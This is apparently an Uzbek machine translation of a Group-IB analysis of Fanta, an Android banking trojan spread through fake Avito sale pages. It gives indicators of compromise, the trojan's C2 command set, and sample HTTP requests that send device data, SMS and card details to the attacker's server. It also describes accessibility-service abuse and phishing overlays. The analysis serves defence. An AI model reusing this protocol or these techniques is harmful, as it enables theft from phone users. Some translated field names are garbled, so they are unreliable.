Leysya, Fanta: eski Android troyan uchun yangi taktika

Leysya, Fanta: eski Android troyan uchun yangi taktika

Bir kuni siz Avito-da biror narsa sotmoqchisiz va mahsulotingizning batafsil tavsifini (masalan, RAM moduli) joylashtirgandan so'ng, siz ushbu xabarni olasiz:

Leysya, Fanta: eski Android troyan uchun yangi taktikaHavolani ochganingizdan so'ng, sizga, baxtli va muvaffaqiyatli sotuvchiga, xarid qilinganligi haqida xabar beruvchi zararsiz ko'rinadigan sahifani ko'rasiz:

Leysya, Fanta: eski Android troyan uchun yangi taktika
"Davom etish" tugmasini bosganingizdan so'ng Android qurilmangizga belgi va ishonchli nomga ega APK fayli yuklab olinadi. Siz negadir AccessibilityService huquqlarini so'ragan dasturni o'rnatdingiz, keyin bir nechta oyna paydo bo'ldi va tezda g'oyib bo'ldi va ... Hammasi shu.

Siz balansingizni tekshirish uchun borasiz, lekin negadir bank ilovangiz kartangiz ma'lumotlarini yana so'raydi. Ma'lumotlarni kiritgandan so'ng, dahshatli narsa yuz beradi: negadir siz uchun hali ham tushunarsiz, sizning hisobingizdan pul yo'qola boshlaydi. Siz muammoni hal qilmoqchisiz, lekin telefoningiz qarshilik ko'rsatmoqda: u "Orqaga" va "Uy" tugmachalarini bosadi, o'chmaydi va hech qanday xavfsizlik choralarini faollashtirishga imkon bermaydi. Natijada siz pulsiz qolasiz, molingiz sotib olinmagan, dovdirab, hayron bo'lasiz: nima bo'ldi?

Javob oddiy: siz Flexnet oilasining a'zosi bo'lgan Android troyan Fanta qurboni bo'ldingiz. Bu qanday sodir bo'ldi? Keling, endi tushuntiramiz.

Mualliflar: Andrey Polovinkin, zararli dasturlarni tahlil qilish bo'yicha kichik mutaxassis, Ivan Pisarev, zararli dasturlarni tahlil qilish bo'yicha mutaxassis.

Ba'zi statistikalar

Android troyanlarining Flexnet oilasi birinchi marta 2015 yilda ma'lum bo'lgan. Uzoq vaqt davomida oila bir nechta kichik turlarga tarqaldi: Fanta, Limebot, Lipton va boshqalar. Troyan, shuningdek, u bilan bog'liq infratuzilma ham to'xtamaydi: yangi samarali tarqatish sxemalari ishlab chiqilmoqda - bizning holatlarimizda ma'lum bir foydalanuvchi-sotuvchiga qaratilgan yuqori sifatli fishing sahifalari va troyan ishlab chiquvchilari moda tendentsiyalarini kuzatib boradilar. virus yozish - zararlangan qurilmalardan pulni yanada samarali o'g'irlash va himoya mexanizmlarini chetlab o'tish imkonini beradigan yangi funksiyalarni qo'shish.

Ushbu maqolada tasvirlangan kampaniya Rossiyadan kelgan foydalanuvchilarga qaratilgan; Ukrainada oz sonli virusli qurilmalar qayd etilgan, Qozog'iston va Belorussiyada esa undan ham kamroq.

Flexnet Android troyan arenasida 4 yildan ortiq vaqtdan beri mavjud bo'lgan va ko'plab tadqiqotchilar tomonidan batafsil o'rganilgan bo'lsa ham, u hali ham yaxshi holatda. 2019 yil yanvar oyidan boshlab etkazilgan zarar miqdori 35 million rubldan oshadi - bu faqat Rossiyadagi kampaniyalar uchun. 2015 yilda ushbu Android troyanining turli versiyalari er osti forumlarida sotildi, bu erda batafsil tavsifga ega troyanning manba kodini ham topish mumkin edi. Bu shuni anglatadiki, dunyodagi zararlar statistikasi yanada ta'sirli. Bunday keksa odam uchun yomon ko'rsatkich emas, shunday emasmi?

Leysya, Fanta: eski Android troyan uchun yangi taktika

Sotishdan aldashgacha

Avito reklamalarini joylashtirish uchun internet xizmati uchun fishing sahifasining ilgari taqdim etilgan skrinshotidan ko'rinib turibdiki, u ma'lum bir qurbon uchun tayyorlangan. Ko'rinishidan, tajovuzkorlar Avito tahlilchilaridan birini ishlatishadi, u sotuvchining telefon raqami va nomini, shuningdek mahsulot tavsifini chiqaradi. Sahifani kengaytirib, APK faylini tayyorlagandan so'ng, jabrlanuvchiga uning ismi va uning mahsuloti tavsifi va mahsulotning "sotish" dan olingan summasi ko'rsatilgan fishing sahifasiga havola ko'rsatilgan SMS yuboriladi. Tugmani bosish orqali foydalanuvchi zararli APK faylini oladi - Fanta.

Shcet491[.]ru domenini o‘rganish shuni ko‘rsatdiki, u Hostinger DNS serverlariga vakolat berilgan:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

Domen zonasi faylida 31.220.23[.]236, 31.220.23[.]243 va 31.220.23[.]235 IP manzillariga ishora qiluvchi yozuvlar mavjud. Biroq, domenning asosiy resurs yozuvi (A yozuvi) 178.132.1[.]240 IP manzilli serverga ishora qiladi.

178.132.1[.]240 IP manzili Niderlandiyada joylashgan va hosterga tegishli WorldStream. 31.220.23[.]235, 31.220.23[.]236 va 31.220.23[.]243 IP manzillari Buyuk Britaniyada joylashgan va HOSTINGER umumiy hosting serveriga tegishli. Yozuvchi sifatida ishlatiladi openprov-ru. Quyidagi domenlar 178.132.1[.]240 IP-manziliga ham hal qilindi:

  • sdelka-ru[.]ru
  • tovar-av[.]ru
  • av-tovar[.]ru
  • ru-sdelka[.]ru
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru

Shuni ta'kidlash kerakki, quyidagi formatdagi havolalar deyarli barcha domenlardan mavjud edi:

http://(www.){0,1}<%domain%>/[0-9]{7}

Ushbu shablon SMS xabaridan havolani ham o'z ichiga oladi. Tarixiy ma'lumotlarga asoslanib, bitta domen yuqorida tavsiflangan naqshdagi bir nechta havolalarga mos kelishi aniqlandi, bu bir domen troyanni bir nechta qurbonlarga tarqatish uchun ishlatilganligini ko'rsatadi.

Keling, biroz oldinga o'taylik: SMS orqali havola orqali yuklab olingan troyan manzilni boshqaruv serveri sifatida ishlatadi. onsedseddohap[.]klubi. Bu domen 2019 da roʻyxatdan oʻtgan va 03 dan boshlab APK ilovalari ushbu domen bilan oʻzaro aloqada boʻlgan. VirusTotal-dan olingan ma'lumotlarga asoslanib, jami 12 ta ilova ushbu server bilan o'zaro aloqada bo'lgan. Domenning o'zi IP-manzilga hal qilindi 217.23.14[.]27, Niderlandiyada joylashgan va uy egasiga tegishli WorldStream. Yozuvchi sifatida ishlatiladi nametheap. Domenlar ham ushbu IP manzilga echilgan bad-racoon[.]klubi (2018-09-25 dan boshlab) va bad-racoon[.]jonli (2018-10-25 dan boshlab). Domen bilan bad-racoon[.]klubi 80 dan ortiq APK fayllari bilan o'zaro aloqada bad-racoon[.]jonli - 100 dan ortiq.

Umuman olganda, hujum quyidagicha davom etadi:

Leysya, Fanta: eski Android troyan uchun yangi taktika

Fanta qopqog'i ostida nima bor?

Boshqa ko'plab Android troyanlari singari, Fanta SMS-xabarlarni o'qish va yuborish, USSD so'rovlarni amalga oshirish va ilovalar (shu jumladan bank dasturlari) ustida o'z oynalarini ko'rsatishga qodir. Biroq, ushbu oilaning funktsional arsenali keldi: Fanta foydalanishni boshladi AccessibilityService turli maqsadlar uchun: boshqa ilovalardan bildirishnomalar mazmunini o'qish, zararlangan qurilmada troyanni aniqlash va bajarilishini to'xtatish va hk. Fanta Androidning 4.4 dan kichik bo'lmagan barcha versiyalarida ishlaydi. Ushbu maqolada biz quyidagi Fanta namunasini batafsil ko'rib chiqamiz:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

Ishga tushgandan so'ng darhol

Ishga tushgandan so'ng, troyan o'z belgisini yashiradi. Ilova faqat virusli qurilmaning nomi ro'yxatda bo'lmasa ishlashi mumkin:

  • android_x86
  • VirtualBox
  • Nexus 5X(buqa boshi)
  • Nexus 5 (ustra)

Ushbu tekshirish troyanning asosiy xizmatida amalga oshiriladi - Asosiy xizmat. Birinchi marta ishga tushirilganda, dasturning konfiguratsiya parametrlari standart qiymatlarga o'rnatiladi (konfiguratsiya ma'lumotlarini saqlash formati va ularning ma'nosi keyinroq muhokama qilinadi) va yangi infektsiyalangan qurilma boshqaruv serverida ro'yxatga olinadi. Xabar turi bilan HTTP POST so'rovi serverga yuboriladi register_bot va zararlangan qurilma haqidagi ma'lumotlar (Android versiyasi, IMEI, telefon raqami, operator nomi va operator ro'yxatdan o'tgan mamlakat kodi). Manzil boshqaruv serveri vazifasini bajaradi hXXp://onuseseddohap[.]club/controller.php. Bunga javoban server maydonlarni o'z ichiga olgan xabar yuboradi bot_id, bot_pwd, server — ilova ushbu qiymatlarni CnC server parametrlari sifatida saqlaydi. Parametr server Agar maydon olinmagan bo'lsa, ixtiyoriy: Fanta ro'yxatdan o'tish manzilidan foydalanadi - hXXp://onuseseddohap[.]club/controller.php. CnC manzilini o'zgartirish funktsiyasi ikkita muammoni hal qilish uchun ishlatilishi mumkin: yukni bir nechta serverlar o'rtasida teng ravishda taqsimlash (agar infektsiyalangan qurilmalar ko'p bo'lsa, optimallashtirilmagan veb-serverdagi yuk yuqori bo'lishi mumkin), shuningdek, foydalanish uchun. CnC serverlaridan biri ishlamay qolgan taqdirda muqobil server.

Agar so'rovni yuborishda xatolik yuzaga kelsa, troyan 20 soniyadan so'ng ro'yxatdan o'tish jarayonini takrorlaydi.

Qurilma muvaffaqiyatli ro'yxatdan o'tkazilgandan so'ng, Fanta foydalanuvchiga quyidagi xabarni ko'rsatadi:

Leysya, Fanta: eski Android troyan uchun yangi taktika
Muhim eslatma: xizmat chaqirildi Tizim xavfsizligi — troyan xizmatining nomi va tugmani bosgandan keyin OK Zararlangan qurilmaning maxsus imkoniyatlar sozlamalari bilan oyna ochiladi, unda foydalanuvchi zararli xizmat uchun maxsus imkoniyatlar huquqlarini berishi kerak:

Leysya, Fanta: eski Android troyan uchun yangi taktika
Foydalanuvchi yoqilishi bilanoq AccessibilityService, Fanta ilova oynalari tarkibiga va ularda bajariladigan amallarga kirish huquqiga ega boʻladi:

Leysya, Fanta: eski Android troyan uchun yangi taktika
Maxsus imkoniyatlar huquqlarini olgandan so'ng, troyan ma'mur huquqlari va bildirishnomalarni o'qish huquqlarini so'raydi:

Leysya, Fanta: eski Android troyan uchun yangi taktika
AccessibilityService-dan foydalanib, dastur tugmachalarni bosishni taqlid qiladi va shu bilan o'ziga barcha kerakli huquqlarni beradi.

Fanta konfiguratsiya ma'lumotlarini saqlash uchun zarur bo'lgan bir nechta ma'lumotlar bazasi nusxalarini yaratadi (bular keyinroq tavsiflanadi), shuningdek, zararlangan qurilma haqidagi jarayonda to'plangan ma'lumotlar. Yig'ilgan ma'lumotlarni jo'natish uchun troyan ma'lumotlar bazasidan maydonlarni yuklab olish va boshqaruv serveridan buyruq olish uchun mo'ljallangan takroriy topshiriq yaratadi. CnC-ga kirish oralig'i Android versiyasiga qarab o'rnatiladi: 5.1 bo'lsa, interval 10 soniya, aks holda 60 soniya bo'ladi.

Buyruqni olish uchun Fanta so'rov yuboradi Vazifani olish boshqaruv serveriga. Bunga javoban CnC quyidagi buyruqlardan birini yuborishi mumkin:

komanda tavsifi
0 SMS xabar yuboring
1 Telefon qo'ng'irog'i yoki USSD buyrug'ini bajaring
2 Parametrni yangilaydi interval
3 Parametrni yangilaydi to'xtatish
6 Parametrni yangilaydi sms menejeri
9 SMS xabarlarni yig'ishni boshlang
11 Telefoningizni zavod sozlamalariga qaytaring
12 Muloqot oynasini yaratish jurnalini yoqish/o'chirish

Fanta shuningdek, 70 ta bank ilovalari, tezkor toʻlov tizimlari va elektron hamyonlardan bildirishnomalarni toʻplaydi va ularni maʼlumotlar bazasida saqlaydi.

Konfiguratsiya parametrlarini saqlash

Konfiguratsiya parametrlarini saqlash uchun Fanta Android platformasi uchun standart yondashuvdan foydalanadi - Eng afzal-fayllar. Sozlamalar nomli faylga saqlanadi ri. Saqlangan parametrlarning tavsifi quyidagi jadvalda keltirilgan.

ism Standart qiymat Mumkin qiymatlar tavsifi
id 0 Integer Bot ID
server hXXp://onuseseddohap[.]club/ URL Server manzilini boshqarish
pwd - String Server paroli
interval 20 Integer Vaqt oralig'i. Quyidagi vazifalarni qancha muddatga kechiktirish kerakligini ko'rsatadi:

  • Yuborilgan SMS-xabarning holati haqida so'rov yuborilganda
  • Boshqaruv serveridan yangi buyruqni qabul qilish

to'xtatish hamma hammasi/telNumber Agar maydon satrga teng bo'lsa hamma yoki tel raqami, keyin qabul qilingan SMS-xabar ilova tomonidan ushlanib qoladi va foydalanuvchiga ko'rsatilmaydi
sms menejeri 0 0/1 Ilovani standart SMS qabul qiluvchi sifatida yoqish/o‘chirish
ReadDialog yolg'on To'g'ri/noto'g'ri Voqealar jurnalini yoqish/o‘chirish AccessibilityEvent

Fanta ham fayldan foydalanadi sms menejeri:

ism Standart qiymat Mumkin qiymatlar tavsifi
pckg - String Foydalanilgan SMS xabar boshqaruvchisi nomi

Ma'lumotlar bazalari bilan o'zaro aloqa

Troyan o'z faoliyati davomida ikkita ma'lumotlar bazasidan foydalanadi. Ma'lumotlar bazasi nomi a telefondan to'plangan turli ma'lumotlarni saqlash uchun ishlatiladi. Ikkinchi ma'lumotlar bazasi nomlanadi fanta.db va bank kartalari haqida ma'lumot to'plash uchun mo'ljallangan fishing oynalarini yaratish uchun mas'ul sozlamalarni saqlash uchun ishlatiladi.

Troyan ma'lumotlar bazasidan foydalanadi а to'plangan ma'lumotlarni saqlash va harakatlaringizni qayd qilish. Ma'lumotlar jadvalda saqlanadi qaydlar. Jadval yaratish uchun quyidagi SQL so'rovidan foydalaning:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

Ma'lumotlar bazasi quyidagi ma'lumotlarni o'z ichiga oladi:

1. Xabar bilan zararlangan qurilmaning ishga tushirilishini qayd qilish Telefon yoqildi!

2. Ilovalardan bildirishnomalar. Xabar quyidagi shablonga muvofiq ishlab chiqariladi:

(<%App Name%>)<%Title%>: <%Notification text%>

3. Troyan tomonidan yaratilgan fishing shakllaridan bank kartasi ma'lumotlari. Parametr VIEW_NAME quyidagilardan biri bo'lishi mumkin:

  • AliExpress
  • Avito
  • Google Play
  • Turli <%Ilova nomi%>

Xabar quyidagi formatda qayd etilgan:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. Quyidagi formatdagi kiruvchi/chiqish SMS xabarlari:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. Shaklda dialog oynasini yaratuvchi paket haqida ma’lumot:

(<%Package name%>)<%Package information%>

Misol jadvali qaydlar:

Leysya, Fanta: eski Android troyan uchun yangi taktika
Fanta funksiyalaridan biri bu bank kartalari haqidagi ma'lumotlarni to'plashdir. Ma'lumotlarni yig'ish bank ilovalarini ochishda fishing oynalarini yaratish orqali amalga oshiriladi. Troyan fishing oynasini faqat bir marta yaratadi. Oyna foydalanuvchiga ko'rsatilgan ma'lumotlar jadvalda saqlanadi ri ma'lumotlar bazasida fanta.db. Ma'lumotlar bazasini yaratish uchun quyidagi SQL so'rovidan foydalaning:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

Barcha jadval maydonlari ri sukut bo'yicha 1 ga ishga tushirilgan (fishing oynasini yaratish). Foydalanuvchi o'z ma'lumotlarini kiritgandan so'ng, qiymat 0 ga o'rnatiladi. Jadval maydonlariga misol ri:

  • can_login — maydon bank ilovasini ochishda shaklni ko'rsatish uchun javobgardir
  • birinchi_bank - ishlatilmayapti
  • can_avito — maydon Avito ilovasini ochishda shaklni ko'rsatish uchun javobgardir
  • can_ali — maydon Aliexpress ilovasini ochishda shaklni ko'rsatish uchun javobgardir
  • mumkin_boshqa — maydon roʻyxatdan istalgan ilovani ochishda shaklni koʻrsatish uchun javobgardir: Yula, Pandao, Drom Auto, Wallet. Chegirma va bonus kartalari, Aviasales, Booking, Trivago
  • can_card — maydon ochilganda shaklni ko'rsatish uchun javobgardir Google Play

Boshqaruv serveri bilan o'zaro aloqa

Tarmoqning boshqaruv serveri bilan o'zaro aloqasi HTTP protokoli orqali amalga oshiriladi. Tarmoq bilan ishlash uchun Fanta mashhur Retrofit kutubxonasidan foydalanadi. So'rovlar quyidagi manzilga yuboriladi: hXXp://onuseseddohap[.]club/controller.php. Serverda ro'yxatdan o'tishda server manzilini o'zgartirish mumkin. Cookie-fayllar serverdan javob sifatida yuborilishi mumkin. Fanta serverga quyidagi so'rovlarni yuboradi:

  • Botni boshqaruv serverida ro'yxatdan o'tkazish birinchi ishga tushirilganda bir marta amalga oshiriladi. Virusli qurilma haqida quyidagi ma'lumotlar serverga yuboriladi:
    · cookie — serverdan olingan cookie-fayllar (standart qiymat bo'sh qatordir)
    · usul - qator doimiysi register_bot
    · prefiks - butun son doimiysi 2
    · version_sdk — quyidagi shablonga muvofiq shakllantiriladi: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
    · imei — zararlangan qurilmaning IMEI
    · mamlakat — operator roʻyxatdan oʻtgan davlat kodi, ISO formatida
    · soni - telefon raqami
    · operator - operator nomi

    Serverga yuborilgan so'rovga misol:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    So'rovga javoban server quyidagi parametrlarni o'z ichiga olgan JSON ob'ektini qaytarishi kerak:
    · bot_id — zararlangan qurilmaning identifikatori. Agar bot_id 0 ga teng bo'lsa, Fanta so'rovni qaytadan bajaradi.
    bot_pwd — server uchun parol.
    server — server manzilini boshqarish. Ixtiyoriy parametr. Agar parametr ko'rsatilmagan bo'lsa, ilovada saqlangan manzil ishlatiladi.

    JSON obyektiga misol:

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • Serverdan buyruq olishni so'rash. Quyidagi ma'lumotlar serverga yuboriladi:
    · cookie — serverdan olingan cookie-fayllar
    · sovdalashish — soʻrov yuborilganda olingan zararlangan qurilmaning identifikatori register_bot
    · pwd -server uchun parol
    · divice_admin — maydon administrator huquqlari olinganligini aniqlaydi. Agar administrator huquqlari olingan bo'lsa, maydon teng bo'ladi 1, aks holda 0
    · Erkin — Maxsus imkoniyatlar xizmatining ish holati. Agar xizmat ishga tushirilgan bo'lsa, qiymat 1, aks holda 0
    · SMS menejeri — troyan SMS qabul qilish uchun standart dastur sifatida yoqilganligini ko'rsatadi
    · ekran — ekran qanday holatda ekanligini ko'rsatadi. Qiymat o'rnatiladi 1, agar ekran yoqilgan bo'lsa, aks holda 0;

    Serverga yuborilgan so'rovga misol:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    Buyruqga qarab, server turli parametrlarga ega JSON obyektini qaytarishi mumkin:

    · komanda SMS xabar yuboring: Parametrlar telefon raqamini, SMS xabar matnini va yuborilayotgan xabarning identifikatorini o'z ichiga oladi. Identifikator turi bilan serverga xabar yuborishda ishlatiladi setSmsStatus.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    · komanda Telefon qo'ng'irog'i yoki USSD buyrug'ini bajaring: Telefon raqami yoki buyruq javob matnida keladi.

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    · komanda Interval parametrini o'zgartirish.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": <%SECONDS%>
       	 }
        ],
        "status":"ok"
    }

    · komanda Intercept parametrini o'zgartiring.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
       	 }
        ],
        "status":"ok"
    }

    · komanda SmsManager maydonini o'zgartiring.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    · komanda Infektsiyalangan qurilmadan SMS xabarlarni to'plang.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    · komanda Telefoningizni zavod sozlamalariga qaytaring:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    · komanda ReadDialog parametrini o'zgartiring.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • Turi bilan xabar yuborish setSmsStatus. Bu so'rov buyruq bajarilgandan so'ng amalga oshiriladi SMS xabar yuboring. So'rov quyidagicha ko'rinadi:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

  • Ma'lumotlar bazasi tarkibini yuklash. Har bir so'rov uchun bitta qator uzatiladi. Quyidagi ma'lumotlar serverga yuboriladi:
    · cookie — serverdan olingan cookie-fayllar
    · usul - qator doimiysi setSaveInboxSms
    · sovdalashish — soʻrov yuborilganda olingan zararlangan qurilmaning identifikatori register_bot
    · matn — joriy maʼlumotlar bazasi yozuvidagi matn (maydon d stoldan qaydlar ma'lumotlar bazasida а)
    · soni — joriy maʼlumotlar bazasi yozuvining nomi (maydon p stoldan qaydlar ma'lumotlar bazasida а)
    · sms_rejimi - butun qiymat (maydon m stoldan qaydlar ma'lumotlar bazasida а)

    So'rov quyidagicha ko'rinadi:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

    Agar serverga muvaffaqiyatli yuborilgan bo'lsa, qator jadvaldan o'chiriladi. Server tomonidan qaytarilgan JSON obyektiga misol:

    {
        "response":[],
        "status":"ok"
    }

AccessibilityService bilan ishlash

AccessibilityService Android qurilmalaridan nogironlar uchun foydalanishni osonlashtirish uchun joriy qilingan. Ko'pgina hollarda, ilova bilan o'zaro ishlash uchun jismoniy shovqin talab qilinadi. AccessibilityService ularni dasturiy tarzda bajarishga imkon beradi. Fanta ushbu xizmatdan bank ilovalarida soxta oynalar yaratish va foydalanuvchilarning tizim sozlamalari va ba'zi ilovalarni ochishiga yo'l qo'ymaslik uchun foydalanadi.

AccessibilityService funksiyasidan foydalanib, troyan virusli qurilma ekranidagi elementlarga o‘zgarishlarni kuzatib boradi. Yuqorida aytib o'tilganidek, Fanta sozlamalari dialog oynalari bilan operatsiyalarni ro'yxatga olish uchun mas'ul bo'lgan parametrni o'z ichiga oladi - ReadDialog. Agar ushbu parametr o'rnatilgan bo'lsa, voqeani qo'zg'atgan paketning nomi va tavsifi haqidagi ma'lumotlar ma'lumotlar bazasiga qo'shiladi. Voqealar boshlanganda troyan quyidagi amallarni bajaradi:

  • Quyidagi hollarda orqa va uy tugmalarini bosishni taqlid qiladi:
    · agar foydalanuvchi o'z qurilmasini qayta ishga tushirishni xohlasa
    · agar foydalanuvchi "Avito" ilovasini o'chirish yoki kirish huquqlarini o'zgartirishni xohlasa
    · sahifada "Avito" ilovasi haqida eslatma bo'lsa
    · Google Play Protect ilovasini ochganda
    · AccessibilityService sozlamalari bilan sahifalarni ochganda
    · Tizim xavfsizligi dialog oynasi paydo bo'lganda
    · sahifani "Boshqa ilovalar ustiga chizish" sozlamalari bilan ochganda
    · "Ilovalar" sahifasini ochganda, "Qayta tiklash va tiklash", "Ma'lumotlarni qayta tiklash", "Sozlamalarni tiklash", "Ishlab chiquvchilar paneli", "Maxsus. imkoniyatlar”, “Maxsus imkoniyatlar”, “Maxsus huquqlar”
    · agar voqea ma'lum ilovalar tomonidan yaratilgan bo'lsa.

    Ilovalar ro'yxati

    • android
    • Master Lite
    • Toza usta
    • X86 CPU uchun Clean Master
    • Meizu ilovalari ruxsatini boshqarish
    • MIUI xavfsizligi
    • Clean Master - antivirus, kesh va axlatni tozalash
    • Ota-ona nazorati va GPS: Kaspersky SafeKids
    • Kaspersky Antivirus AppLock & Web Security Beta
    • Viruslarni tozalovchi, antivirus, tozalovchi (MAX Security)
    • Mobil antivirus xavfsizligi PRO
    • Avast antivirus va bepul himoya 2019
    • Mobil xavfsizlik MegaFon
    • Xperia uchun AVG himoyasi
    • Mobil xavfsizlik
    • Malwarebytes antivirus va himoya
    • Android 2019 uchun antivirus
    • Xavfsizlik ustasi - Antivirus, VPN, AppLock, Booster
    • Huawei planshet tizimi menejeri uchun AVG antivirus
    • Samsung uchun foydalanish imkoniyati
    • Samsung aqlli menejeri
    • Xavfsizlik ustasi
    • Tezlikni mustahkamlovchi
    • Dr.Web
    • Dr.Web xavfsizlik maydoni
    • Dr.Web mobil boshqaruv markazi
    • Dr.Web Security Space Life
    • Dr.Web mobil boshqaruv markazi
    • Antivirus va mobil xavfsizlik
    • Kasperskiy Internet Security: Antivirus va himoya
    • Kasperskiy batareya quvvati: tejash va kuchaytirish
    • Kaspersky Endpoint Security - himoya va boshqarish
    • AVG Antivirus bepul 2019 – Android uchun himoya
    • Antivirus Android
    • Norton Mobile Security va antivirus
    • Antivirus, xavfsizlik devori, VPN, mobil xavfsizlik
    • Mobil xavfsizlik: antivirus, VPN, o'g'irlikdan himoya qilish
    • Android uchun antivirus

  • Agar qisqa raqamga SMS yuborishda ruxsat so'ralsa, Fanta katagiga bosishni taqlid qiladi. Tanlovni eslang va tugma yuborish.
  • Troyandan administrator huquqlarini olib tashlamoqchi bo'lganingizda, u telefon ekranini qulflaydi.
  • Yangi administratorlarni qo'shishni oldini oladi.
  • Antivirus dasturi bo'lsa dr.web tahdidni aniqladi, Fanta tugmani bosishga taqlid qiladi e'tibor bermaslik.
  • Troyan, agar voqea dastur tomonidan yaratilgan bo'lsa, orqaga va uy tugmachalarini bosishni taqlid qiladi Samsung qurilmalarini parvarish qilish.
  • Fanta, agar 30 ga yaqin turli Internet xizmatlarini o'z ichiga olgan ro'yxatdagi dastur ishga tushirilgan bo'lsa, bank kartalari haqidagi ma'lumotlarni kiritish shakllari bilan fishing oynalarini yaratadi. Ular orasida: AliExpress, Booking, Avito, Google Play Market Component, Pandao, Drom Auto va boshqalar.

    Fishing shakllari

    Fanta virusli qurilmada qaysi ilovalar ishlayotganini tahlil qiladi. Agar qiziqish ilovasi ochilgan bo'lsa, troyan boshqalarning ustiga fishing oynasini ko'rsatadi, bu bank kartasi ma'lumotlarini kiritish shaklidir. Foydalanuvchi quyidagi ma'lumotlarni kiritishi kerak:

    • Nomer karty
    • Kartaning amal qilish muddati
    • CVV
    • Karta egasining nomi (barcha banklar uchun emas)

    Ishlayotgan dasturga qarab, turli xil fishing oynalari ko'rsatiladi. Quyida ulardan ba'zilariga misollar keltirilgan:

    AliExpress:

    Leysya, Fanta: eski Android troyan uchun yangi taktika
    Avito:

    Leysya, Fanta: eski Android troyan uchun yangi taktika
    Ba'zi boshqa ilovalar uchun, masalan. Google Play Market, Aviasales, Pandao, Booking, Trivago:
    Leysya, Fanta: eski Android troyan uchun yangi taktika

    Haqiqatan ham qanday bo'ldi

    Yaxshiyamki, maqola boshida tasvirlangan SMS-xabarni olgan shaxs kiberxavfsizlik bo'yicha mutaxassis bo'lib chiqdi. Shu sababli, haqiqiy, rejissyor bo'lmagan versiya ilgari aytilganidan farq qiladi: bir kishi qiziqarli SMS oldi, shundan so'ng u uni Group-IB Threat Hunting Intelligence jamoasiga berdi. Hujumning natijasi - bu maqola. Baxtli yakun, to'g'rimi? Biroq, hamma hikoyalar unchalik muvaffaqiyatli tugamaydi va sizniki pul yo'qotish bilan rejissyorga o'xshamasligi uchun ko'p hollarda quyidagi uzoq ta'riflangan qoidalarga rioya qilish kifoya:

    • Android operatsion tizimiga ega mobil qurilma uchun Google Play'dan boshqa manbalardan ilovalar o'rnatmang
    • Ilovani o'rnatishda ilova tomonidan so'ralgan huquqlarga alohida e'tibor bering
    • yuklab olingan fayllarning kengaytmalariga e'tibor bering
    • Android OS yangilanishlarini muntazam ravishda o'rnating
    • shubhali manbalarga tashrif buyurmang va u yerdan fayllarni yuklab olmang
    • SMS xabarlarda olingan havolalarni bosmang.

Manba: www.habr.com

a Izoh qo'shish